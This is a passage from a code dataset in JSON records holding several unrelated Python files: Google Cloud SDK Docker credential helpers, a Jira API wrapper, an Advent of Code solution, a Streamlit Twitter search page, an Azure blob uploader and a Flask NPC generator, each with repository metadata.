'not@val.id'\n_CREDENTIAL_STORE_KEY = 'credsStore'\n\n\nclass UnsupportedRegistryError(client_lib.DockerError):\n \"\"\"Indicates an attempt to use an unsupported registry.\"\"\"\n\n def __init__(self, image_url):\n self.image_url = image_url\n\n def __str__(self):\n return ('{0} is not in a supported registry. Supported registries are '\n '{1}'.format(self.image_url, constants.ALL_SUPPORTED_REGISTRIES))\n\n\ndef DockerLogin(server, username, access_token):\n \"\"\"Register the username / token for the given server on Docker's keyring.\"\"\"\n\n # Sanitize and normalize the server input.\n parsed_url = client_lib.GetNormalizedURL(server)\n\n server = parsed_url.geturl()\n\n # 'docker login' must be used due to the change introduced in\n # https://github.com/docker/docker/pull/20107 .\n docker_args = ['login']\n docker_args.append('--username=' + username)\n docker_args.append('--password=' + access_token)\n docker_args.append(server) # The auth endpoint must be the last argument.\n\n docker_p = client_lib.GetDockerProcess(\n docker_args,\n stdin_file=sys.stdin,\n stdout_file=subprocess.PIPE,\n stderr_file=subprocess.PIPE)\n\n # Wait for docker to finished executing and retrieve its stdout/stderr.\n stdoutdata, stderrdata = docker_p.communicate()\n\n if docker_p.returncode == 0:\n # If the login was successful, print only unexpected info.\n _SurfaceUnexpectedInfo(stdoutdata, stderrdata)\n else:\n # If the login failed, print everything.\n log.error('Docker CLI operation failed:')\n log.out.Print(stdoutdata)\n log.status.Print(stderrdata)\n raise client_lib.DockerError('Docker login failed.')\n\n\ndef _SurfaceUnexpectedInfo(stdoutdata, stderrdata):\n \"\"\"Reads docker's output and surfaces unexpected lines.\n\n Docker's CLI has a certain amount of chattiness, even on successes.\n\n Args:\n stdoutdata: The raw data output from the pipe given to Popen as stdout.\n stderrdata: The raw data output from the pipe given to Popen as stderr.\n \"\"\"\n\n # Split the outputs by lines.\n stdout = [s.strip() for s in stdoutdata.splitlines()]\n stderr = [s.strip() for s in stderrdata.splitlines()]\n\n for line in stdout:\n # Swallow 'Login Succeeded' and 'saved in,' surface any other std output.\n if (line != 'Login Succeeded') and (\n 'login credentials saved in' not in line):\n line = '%s%s' % (line, os.linesep)\n log.out.Print(line) # log.out => stdout\n\n for line in stderr:\n if not _IsExpectedErrorLine(line):\n line = '%s%s' % (line, os.linesep)\n log.status.Print(line) # log.status => stderr\n\n\ndef _CredentialStoreConfigured():\n \"\"\"Returns True if a credential store is specified in the docker config.\n\n Returns:\n True if a credential store is specified in the docker config.\n False if the config file does not exist or does not contain a\n 'credsStore' key.\n \"\"\"\n try:\n # Not Using DockerConfigInfo here to be backward compatiable with\n # UpdateDockerCredentials which should still work if Docker is not installed\n path, is_new_format = client_lib.GetDockerConfigPath()\n contents = client_lib.ReadConfigurationFile(path)\n if is_new_format:\n return _CREDENTIAL_STORE_KEY in contents\n else:\n # The old format is for Docker <1.7.0.\n # Older Docker clients (<1.11.0) don't support credential helpers.\n return False\n except IOError:\n # Config file doesn't exist.\n return False\n\n\ndef ReadDockerAuthConfig():\n \"\"\"Retrieve the contents of the Docker authorization entry.\n\n NOTE: This is public only to facilitate testing.\n\n Returns:\n The map of authorizations used by docker.\n \"\"\"\n # Not using DockerConfigInfo here to be backward compatible with\n # UpdateDockerCredentials which should still work if Docker is not installed\n path, new_format = client_lib.GetDockerConfigPath()\n structure = client_lib.ReadConfigurationFile(path)\n if new_format:\n return structure['auths'] if 'auths' in structure else {}\n else:\n return structure\n\n\ndef WriteDockerAuthConfig(structure):\n \"\"\"Write out a complete set of Docker authorization entries.\n\n This is public only to facilitate testing.\n\n Args:\n structure: The dict of authorization mappings to write to the\n Docker configuration file.\n \"\"\"\n # Not using DockerConfigInfo here to be backward compatible with\n # UpdateDockerCredentials which should still work if Docker is not installed\n path, is_new_format = client_lib.GetDockerConfigPath()\n contents = client_lib.ReadConfigurationFile(path)\n if is_new_format:\n full_cfg = contents\n full_cfg['auths'] = structure\n file_contents = json.dumps(full_cfg, indent=2)\n else:\n file_contents = json.dumps(structure, indent=2)\n files.WriteFileAtomically(path, file_contents)\n\n\ndef UpdateDockerCredentials(server, refresh=True):\n \"\"\"Updates the docker config to have fresh credentials.\n\n This reads the current contents of Docker's keyring, and extends it with\n a fresh entry for the provided 'server', based on the active gcloud\n credential. If a credential exists for 'server' this replaces it.\n\n Args:\n server: The hostname of the registry for which we're freshening\n the credential.\n refresh: Whether to force a token refresh on the active credential.\n\n Raises:\n core.credentials.exceptions.Error: There was an error loading the\n credentials.\n \"\"\"\n\n if refresh:\n access_token = store.GetFreshAccessToken()\n else:\n access_token = store.GetAccessToken()\n\n if not access_token:\n raise exceptions.Error(\n 'No access token could be obtained from the current credentials.')\n\n if _CredentialStoreConfigured():\n try:\n # Update the credentials stored by docker, passing the sentinel username\n # and access token.\n DockerLogin(server, _USERNAME, access_token)\n except client_lib.DockerError as e:\n # Only catch docker-not-found error\n if six.text_type(e) != client_lib.DOCKER_NOT_FOUND_ERROR:\n raise\n\n # Fall back to the previous manual .dockercfg manipulation\n # in order to support gcloud app's docker-binaryless use case.\n _UpdateDockerConfig(server, _USERNAME, access_token)\n log.warning(\n \"'docker' was not discovered on the path. Credentials have been \"\n 'stored, but are not guaranteed to work with the Docker client '\n ' if an external credential store is configured.')\n else:\n _UpdateDockerConfig(server, _USERNAME, access_token)\n\n\ndef _UpdateDockerConfig(server, username, access_token):\n \"\"\"Register the username / token for the given server on Docker's keyring.\"\"\"\n\n # NOTE: using \"docker login\" doesn't work as they're quite strict on what\n # is allowed in username/password.\n try:\n dockercfg_contents = ReadDockerAuthConfig()\n except (IOError, client_lib.InvalidDockerConfigError):\n # If the file doesn't exist, start with an empty map.\n dockercfg_contents = {}\n\n # Add the entry for our server.\n auth = username + ':' + access_token\n auth = base64.b64encode(auth.encode('ascii')).decode('ascii')\n\n # Sanitize and normalize the server input.\n parsed_url = client_lib.GetNormalizedURL(server)\n\n server = parsed_url.geturl()\n server_unqualified = parsed_url.hostname\n\n # Clear out any unqualified stale entry for this server\n if server_unqualified in dockercfg_contents:\n del dockercfg_contents[server_unqualified]\n\n dockercfg_contents[server] = {'auth': auth, 'email': _EMAIL}\n\n WriteDockerAuthConfig(dockercfg_contents)\n\n\ndef _IsExpectedErrorLine(line):\n \"\"\"Returns whether or not the given line was expected from the Docker client.\n\n Args:\n line: The line received in stderr from Docker\n Returns:\n True if the line was expected, False otherwise.\n \"\"\"\n expected_line_substrs = [\n # --email is deprecated\n '--email',\n # login success\n 'login credentials saved in',\n # Use stdin for passwords\n 'WARNING! Using --password via the CLI is insecure. Use --password-stdin.'\n ]\n for expected_line_substr in expected_line_substrs:\n if expected_line_substr in line:\n return True\n return False\n", "repo_name": "twistedpair/google-cloud-sdk", "sub_path": "google-cloud-sdk/lib/googlecloudsdk/core/docker/docker.py", "file_name": "docker.py", "file_ext": "py", "file_size_in_byte": 8576, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 55, "dataset": "github-code", "pt": "7", "api": [{"api_name": "googlecloudsdk.core.docker.client_lib.DockerError", "line_number": 25, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 25, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.constants.ALL_SUPPORTED_REGISTRIES", "line_number": 33, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.constants", "line_number": 33, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.GetNormalizedURL", "line_number": 40, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 40, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.GetDockerProcess", "line_number": 51, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 51, "usage_type": "name"}, {"api_name": "sys.stdin", "line_number": 53, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 54, "usage_type": "attribute"}, {"api_name": "subprocess.PIPE", "line_number": 55, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log.error", "line_number": 65, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log", "line_number": 65, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.log.out.Print", "line_number": 66, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log.out", "line_number": 66, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log", "line_number": 66, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.log.status.Print", "line_number": 67, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log.status", "line_number": 67, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log", "line_number": 67, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.DockerError", "line_number": 68, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 68, "usage_type": "name"}, {"api_name": "os.linesep", "line_number": 89, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log.out.Print", "line_number": 90, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log.out", "line_number": 90, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log", "line_number": 90, "usage_type": "name"}, {"api_name": "os.linesep", "line_number": 94, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log.status.Print", "line_number": 95, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log.status", "line_number": 95, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.log", "line_number": 95, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.GetDockerConfigPath", "line_number": 109, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 109, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.ReadConfigurationFile", "line_number": 110, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 110, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.GetDockerConfigPath", "line_number": 132, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 132, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.ReadConfigurationFile", "line_number": 133, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 133, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.GetDockerConfigPath", "line_number": 151, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 151, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.ReadConfigurationFile", "line_number": 152, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 152, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 156, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 158, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.files.WriteFileAtomically", "line_number": 159, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.util.files", "line_number": 159, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.credentials.store.GetFreshAccessToken", "line_number": 180, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.credentials.store", "line_number": 180, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.credentials.store.GetAccessToken", "line_number": 182, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.credentials.store", "line_number": 182, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.exceptions.Error", "line_number": 185, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.exceptions", "line_number": 185, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.DockerError", "line_number": 193, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 193, "usage_type": "name"}, {"api_name": "six.text_type", "line_number": 195, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib.DOCKER_NOT_FOUND_ERROR", "line_number": 195, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 195, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.log.warning", "line_number": 201, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.log", "line_number": 201, "usage_type": "name"}, {"api_name": "googlecloudsdk.core.docker.client_lib.InvalidDockerConfigError", "line_number": 216, "usage_type": "attribute"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 216, "usage_type": "name"}, {"api_name": "base64.b64encode", "line_number": 222, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib.GetNormalizedURL", "line_number": 225, "usage_type": "call"}, {"api_name": "googlecloudsdk.core.docker.client_lib", "line_number": 225, "usage_type": "name"}]} {"seq_id": "73348894624", "text": "from jira import JIRA\r\n\r\n\r\ndef authentication(host, username, token):\r\n \"\"\"\"Authentication to Jira.\r\n Args:\r\n host: hostname of jira instance\r\n username: username to access jira\r\n token: password or token. Users who use social authentications can create a token form their front-ends\r\n \"\"\"\r\n try:\r\n options = {'server': host}\r\n jira = JIRA(options, basic_auth=(username, token))\r\n return jira\r\n except Exception as e:\r\n return e\r\n\r\n\r\ndef ticket_search(service, query, maxresults=None):\r\n \"\"\"\"Search tickets\r\n Args:\r\n service: jira service created from authentication() function\r\n query: JQL to filter out tickets\r\n maxresults: maximum of number or outputs\r\n \"\"\"\r\n try:\r\n tickets = service.search_issues(query, maxResults=maxresults)\r\n return tickets\r\n except Exception as e:\r\n return e\r\n\r\n\r\ndef get_ticket_attribute(service, ticket, attribute):\r\n \"\"\"Obtain different ticket attributes\r\n\r\n Args:\r\n service: jira service created from authentication() function\r\n ticket: specific ticket number eg: PROD-1111\r\n attribute: diffrent elements in ticket eg: title, creator etc...\r\n\r\n Supported attributes: summary, description, assignee, created, status, priority, reporter, creator,\r\n issuelinks, watches, resolver, validator, fixedbinaryversion, targetststem, approver, fixVersions, comment\r\n \"\"\"\r\n try:\r\n ticket = service.issue(ticket)\r\n except Exception as e:\r\n return e\r\n\r\n attribute_dict = {\r\n \"title\": ticket.fields.summary,\r\n \"description\": ticket.fields.description,\r\n \"status\": ticket.fields.status,\r\n \"environment\": ticket.fields.environment,\r\n \"assignee\": ticket.fields.assignee,\r\n \"reporter\": ticket.fields.reporter,\r\n \"targetststem\": ticket.fields.customfield_10201,\r\n \"fixedbinaryversion\": ticket.fields.customfield_10300,\r\n \"approver\": ticket.fields.customfield_11420,\r\n \"validator\": ticket.fields.customfield_11439,\r\n \"resolver\": ticket.fields.customfield_11442,\r\n \"fixVersions\": ticket.fields.fixVersions,\r\n \"created\": ticket.fields.created,\r\n \"priority\": ticket.fields.priority,\r\n \"issuelinks\": ticket.fields.issuelinks,\r\n \"watches\": ticket.fields.watches,\r\n \"comment\": ticket.fields.comment.comments,\r\n\r\n }\r\n\r\n if attribute in attribute_dict:\r\n try:\r\n return attribute_dict.get(attribute)\r\n except Exception as e:\r\n return e\r\n else:\r\n return \"Field Name still not supported\"\r\n\r\n\r\ndef create_ticket(service, project, summary, description, issuetype, assignee, attachments=[]):\r\n \"\"\"\"Create a jira ticket\r\n Args:\r\n service: jira service created from authentication() function\r\n project: the project the ticket needed to be created. eg: PROD, REQ, NATMOBILE\r\n summary: title of the ticket\r\n description: description or the ticket\r\n issuetype: type of the issue eg: Task, Bug\r\n assignee: the person the ticket should assigned eg: vidura.d\r\n attachments: images or other files needed to attached to the ticket. Should be a list\r\n \"\"\"\r\n try:\r\n new_issue = service.create_issue(project=project, summary=summary, issuetype={'name': issuetype},\r\n description=description, assignee={'name': assignee})\r\n except Exception as e:\r\n return e\r\n for i in attachments:\r\n service.add_attachment(issue=new_issue, attachment=i)\r\n\r\n\r\ndef update_ticket(service, ticket, field, value):\r\n \"\"\"\"Change specific attribute of a ticket\r\n\r\n Args:\r\n service: jira service created from authentication() function\r\n ticket: specific ticket number eg: PROD-1111\r\n field: the attribute needed to change\r\n value: new value of the attribute\r\n\r\n fields supported: summary, description, assignee, status, priority, environment\r\n \"\"\"\r\n ticket = service.issue(ticket)\r\n if field == \"assignee\":\r\n try:\r\n ticket.update(assignee={'name': value})\r\n except Exception as e:\r\n return e\r\n elif field == \"issuetype\":\r\n try:\r\n ticket.update(issuetype={'name': value})\r\n except Exception as e:\r\n return e\r\n else:\r\n try:\r\n ticket.update(fields={field: value})\r\n except Exception as e:\r\n return e\r\n\r\n\r\ndef delete_ticket(service, ticket):\r\n \"\"\"Change specific attribute of a ticket. You must have the sufficient permission to delete a ticket\r\n\r\n Args:\r\n service: jira service created from authentication() function\r\n ticket: specific ticket number eg: PROD-1111\r\n\r\n \"\"\"\r\n ticket = service.issue(ticket)\r\n try:\r\n ticket.delete()\r\n except Exception as e:\r\n return e\r\n", "repo_name": "dulshankt/GK-Symbol-Changes", "sub_path": "bin/ustocktjira.py", "file_name": "ustocktjira.py", "file_ext": "py", "file_size_in_byte": 4907, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "jira.JIRA", "line_number": 13, "usage_type": "call"}]} {"seq_id": "23427249578", "text": "# Day 5, Supply Stacks\nfrom typing import List, Tuple, DefaultDict, NamedTuple\nfrom collections import defaultdict\n\nInit = DefaultDict[int, List[str]]\n\nclass Instruction(NamedTuple):\n quantity : int\n from_idx : int\n to_idx : int\n\n# Q1 & Q2\ndef run(init: Init, insts: List[Instruction], keep_order: bool) -> str:\n for quan, fr, to in insts:\n if keep_order: init[to]+=[init[fr].pop() for _ in range(quan)][::-1]\n else: init[to]+=[init[fr].pop() for _ in range(quan)]\n return ''.join([v[1][-1] for v in sorted(init.items(), key=lambda x: x[0])])\n\n# Input\ndef parse_input(file: str) -> Tuple[List[str], List[str]]:\n with open(file, 'r') as inp:\n init, insts = inp.read().split('\\n\\n')\n return [line for line in init.split('\\n')], [line.strip() for line in insts.split('\\n') if line]\n\ndef parse_init(init: List[str]) -> Init:\n cols = defaultdict(list)\n for row in init[:-1]:\n for i in range((len(row)+1)//4):\n check = row[4*i:4*(i+1)].strip()\n if check: cols[i] = [check[1]] + cols[i]\n return cols\n\ndef parse_insts(insts: List[str]) -> List[Instruction]:\n return [Instruction(int(q), int(fr)-1, int(to)-1) for q, fr, to in [inst.split()[1::2] for inst in insts]]\n\nif __name__ == '__main__':\n # Samples\n sample_input = parse_input('sample')\n sample_init, sample_insts = sample_input\n\n # Tests\n assert run(parse_init(sample_init), parse_insts(sample_insts), False) == 'CMZ'\n assert run(parse_init(sample_init), parse_insts(sample_insts), True) == 'MCD'\n\n # Puzzle input\n puzzle_input = parse_input('puzzle-input')\n puzzle_init, puzzle_insts = puzzle_input\n\n # Results\n q1 = run(parse_init(puzzle_init), parse_insts(puzzle_insts), False)\n q2 = run(parse_init(puzzle_init), parse_insts(puzzle_insts), True)\n\n print(f'Q1: {q1}')\n print(f'Q2: {q2}')\n", "repo_name": "nilsmo1/aoc2022", "sub_path": "day05/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1867, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.DefaultDict", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 5, "usage_type": "name"}, {"api_name": "typing.NamedTuple", "line_number": 7, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Tuple", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 25, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 26, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 33, "usage_type": "name"}]} {"seq_id": "13058996875", "text": "####################################################################################\n# Twitter Analyzer\n# by JW\n#\n# A simple python tool to build queries and specify search tasks for different sources\n# \n# pages / Query_Builder.py\n####################################################################################\n\n# IMPORT STATEMENTS ----------------------------------------------------------------\n\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime as dt\nfrom math import floor\nimport jsonpickle\n# import os\n\n# Twitter crawling (possibly not needed here in future versions)\nimport tweepy\n\n# Streamlit Web App\nimport streamlit as st\n\n# Own Functions\nfrom helpers.db_functions import *\nfrom helpers.twitter_api import *\n\n### STREAMLIT Init:\n\n# SETTING PAGE CONFIG TO WIDE MODE AND ADDING A TITLE AND FAVICON\nst.set_page_config(layout=\"wide\", page_title=\"Twitter Analyzer\", page_icon=\"🐦\")\n\n# Start of the page\n\nst.title(\"🐦 Twitter Analyzer\")\n\nst.write(\"The gateway to analyze twitter queries\")\n\n# SIDEBAR --------------------------------------------\n\nwith st.sidebar:\n st.header(\"Project selection\")\n\n list_of_projects = list_projects()\n df_list_of_projects = pd.DataFrame(list_of_projects)\n option = st.selectbox(\n 'Project with Twitter data:',df_list_of_projects[\"id\"])\n\n query_exists, db_search_params = get_twitter_query(option)\n\n if query_exists:\n st.metric(label=\"Query\", value=db_search_params[\"query\"])\n st.metric(label=\"Last crawled\", value=str(db_search_params[\"last_crawl\"]))\n st.metric(label=\"Tweet limit\", value=db_search_params[\"tweet_limit\"])\n else:\n st.error('Twitter query was not found.', icon=\"🚨\")\n\nif query_exists:\n if st.button(\"Run new crawl\"):\n with st.spinner('Wait while we collect the tweets...'):\n try:\n #tweets = get_tweets(search_params_basic)\n twitter_client_v2 = st.session_state.twitter_client_v2\n tweets = twitter_client_v2.search_recent_tweets(query=db_search_params[\"query\"], end_time=None, max_results=db_search_params[\"tweet_limit\"], tweet_fields=st.session_state.twitter_tweet_fields, expansions=\"author_id\")\n # for tweet in tweets.data:\n # st.write(tweet)\n st.session_state.temp_tweets = tweets\n\n st.success('Done!')\n except Exception as e:\n st.error(\"There was an unexpected error while collecting the tweets. Please try again and double check your API credentials.\")\n st.write(e)\n\n if st.button(\"Analyze\"):\n temp_tweets_data = (st.session_state.temp_tweets).data\n temp_tweets_includes = (st.session_state.temp_tweets).includes\n users = {u[\"id\"]: u for u in temp_tweets_includes['users']} \n # for tweet in temp_tweets.data:\n # if users[tweet.author_id]:\n # user = users[tweet.author_id]\n # st.write(user)\n # st.write(user.profile_image_url)\n\n\n for result in paginator(temp_tweets_data, 10, \"tweet_next\", \"tweet_prev\"):\n display_tweet(result, users)\n \"---\"", "repo_name": "J0nasW/tie_crawler", "sub_path": "app/pages/80_🐦_xxxxx Twitter_Analyzer xxxxx.py", "file_name": "80_🐦_xxxxx Twitter_Analyzer xxxxx.py", "file_ext": "py", "file_size_in_byte": 3170, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "streamlit.set_page_config", "line_number": 32, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.sidebar", "line_number": 42, "usage_type": "attribute"}, {"api_name": "streamlit.header", "line_number": 43, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 46, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 47, "usage_type": "call"}, {"api_name": "streamlit.metric", "line_number": 53, "usage_type": "call"}, {"api_name": "streamlit.metric", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.metric", "line_number": 55, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 57, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 60, "usage_type": "call"}, {"api_name": "streamlit.spinner", "line_number": 61, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 64, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 65, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 68, "usage_type": "attribute"}, {"api_name": "streamlit.success", "line_number": 70, "usage_type": "call"}, {"api_name": "streamlit.error", "line_number": 72, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 73, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 75, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 76, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 77, "usage_type": "attribute"}]} {"seq_id": "32389105623", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 12 12:35:33 2022\n\n@author: chggo\n\"\"\"\n\n\n# Python program to bulk upload jpg image files as blobs to azure storage\n\nimport os\nfrom azure.storage.blob import BlobServiceClient, BlobClient\nfrom azure.storage.blob import ContentSettings, ContainerClient\n \nMY_CONNECTION_STRING = ''\n\nMY_IMAGE_CONTAINER = \"unlabeled20220109\"\n \n# Replace with the local folder which contains the image files for upload\n#LOCAL_IMAGE_PATH = r\"C:\\Users\\chggo\\data\\Recut\\icpLocDetection\\labeledData\\unlabeled_20220109\\result\"\n \nclass AzureBlobFileUploader:\n def __init__(self):\n print(\"Intializing AzureBlobFileUploader\")\n \n # Initialize the connection to Azure storage account\n self.blob_service_client = BlobServiceClient.from_connection_string(MY_CONNECTION_STRING)\n \n def upload_all_images_in_folder(self):\n # Get all files with jpg extension and exclude directories\n all_file_names = [f for f in os.listdir(LOCAL_IMAGE_PATH)\n if os.path.isfile(os.path.join(LOCAL_IMAGE_PATH, f)) and \".png\" in f]\n \n # Upload each file\n for file_name in all_file_names:\n self.upload_image(file_name)\n \n def upload_image(self,file_name):\n # Create blob with same name as local file name\n blob_client = self.blob_service_client.get_blob_client(container=MY_IMAGE_CONTAINER,\n blob=file_name)\n # Get full path to the file\n upload_file_path = os.path.join(LOCAL_IMAGE_PATH, file_name)\n \n # Create blob on storage\n # Overwrite if it already exists!\n image_content_setting = ContentSettings(content_type='image/png')\n print(f\"uploading file - {file_name}\")\n with open(upload_file_path, \"rb\") as data:\n blob_client.upload_blob(data,overwrite=True,content_settings=image_content_setting)\n \n \n# Initialize class and upload files\nazure_blob_file_uploader = AzureBlobFileUploader()\nazure_blob_file_uploader.upload_all_images_in_folder()\n", "repo_name": "geeta395/bystronic", "sub_path": "src/topics/loc/training/labelling/azure_uplod_images.py", "file_name": "azure_uplod_images.py", "file_ext": "py", "file_size_in_byte": 1969, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "azure.storage.blob.BlobServiceClient.from_connection_string", "line_number": 27, "usage_type": "call"}, {"api_name": "azure.storage.blob.BlobServiceClient", "line_number": 27, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path", "line_number": 32, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 32, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 43, "usage_type": "call"}, {"api_name": "os.path", "line_number": 43, "usage_type": "attribute"}, {"api_name": "azure.storage.blob.ContentSettings", "line_number": 47, "usage_type": "call"}]} {"seq_id": "5667939366", "text": "from flask import Blueprint, jsonify, request\n\nfrom core import names, traits\nfrom core.npc import NPC\nfrom core.spell import parse_spells, get_spells_by_level\nimport json\n\nnpc = Blueprint('npc', __name__)\nspells = None\n\n@npc.route('/status')\ndef status():\n return jsonify({'status': 'ok'})\n\n\n@npc.route('/npc_slack', methods=['GET', 'POST'])\ndef npc_gen_slack():\n data = request.form['text'].split(' ')\n caster_level = None\n race = data[0]\n gender = data[1]\n archtype = data[2]\n if len(data) > 3:\n trait_count = int(data[3])\n else:\n trait_count = 5\n if len(data) > 4:\n caster_level = int(data[4])\n\n spells = None\n if caster_level:\n full_spell_list = parse_spells()\n spells = get_spells_by_level(caster_level, full_spell_list)\n\n npc = NPC(\n archtype=archtype,\n gender=gender,\n race=race,\n name=names.generate_name(race, gender),\n traits=traits.get_traits_by_count_and_archtype(trait_count, archtype),\n spells=spells\n )\n headline = \"*{race} {gender}*\\nName: {first} {last}\\n\".format(race=npc.race, gender=npc.gender, first=npc.name['first'], last=npc.name['last'])\n trait_text = \"Traits:\\n\"\n for trait in npc.traits:\n trait_text = trait_text + '\\t' + trait + '\\n'\n resp_text = headline + trait_text\n\n if spells:\n spell_text = \"Spells:\\n\"\n for spell_level in spells.keys():\n spell_text = spell_text + '\\tLevel ' + str(spell_level) + ':\\n'\n for spell in spells[spell_level].keys():\n spell_text = spell_text + '\\t\\t' + spell + ':\\n'\n resp_text += spell_text\n\n resp = {\n \"response_type\": \"in_channel\",\n \"text\": resp_text,\n \"username\": \"SpinNPC\",\n \"mrkdwn\": \"true\"\n }\n return jsonify(resp)\n\n\n@npc.route('/npc', methods=['GET', 'POST'])\ndef npc_gen():\n\n full_spell_list = parse_spells()\n spells = None\n\n race = request.args.get('race')\n gender = request.args.get('gender')\n archtype = request.args.get('archtype')\n trait_count = int(request.args.get('traitCount')) if request.args.get('traitCount') else 5\n caster_level = int(request.args.get('caster')) if request.args.get('caster') else None\n if caster_level:\n spells = get_spells_by_level(caster_level, full_spell_list)\n\n npc = NPC(\n archtype=archtype,\n gender=gender,\n race=race,\n name=names.generate_name(race, gender),\n traits=traits.get_traits_by_count_and_archtype(trait_count, archtype),\n spells=spells\n )\n return jsonify(npc.__dict__)", "repo_name": "mboylevt/npc-spinner", "sub_path": "flask_app/route_npc.py", "file_name": "route_npc.py", "file_ext": "py", "file_size_in_byte": 2602, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "flask.Blueprint", "line_number": 8, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "core.spell.parse_spells", "line_number": 32, "usage_type": "call"}, {"api_name": "core.spell.get_spells_by_level", "line_number": 33, "usage_type": "call"}, {"api_name": "core.npc.NPC", "line_number": 35, "usage_type": "call"}, {"api_name": 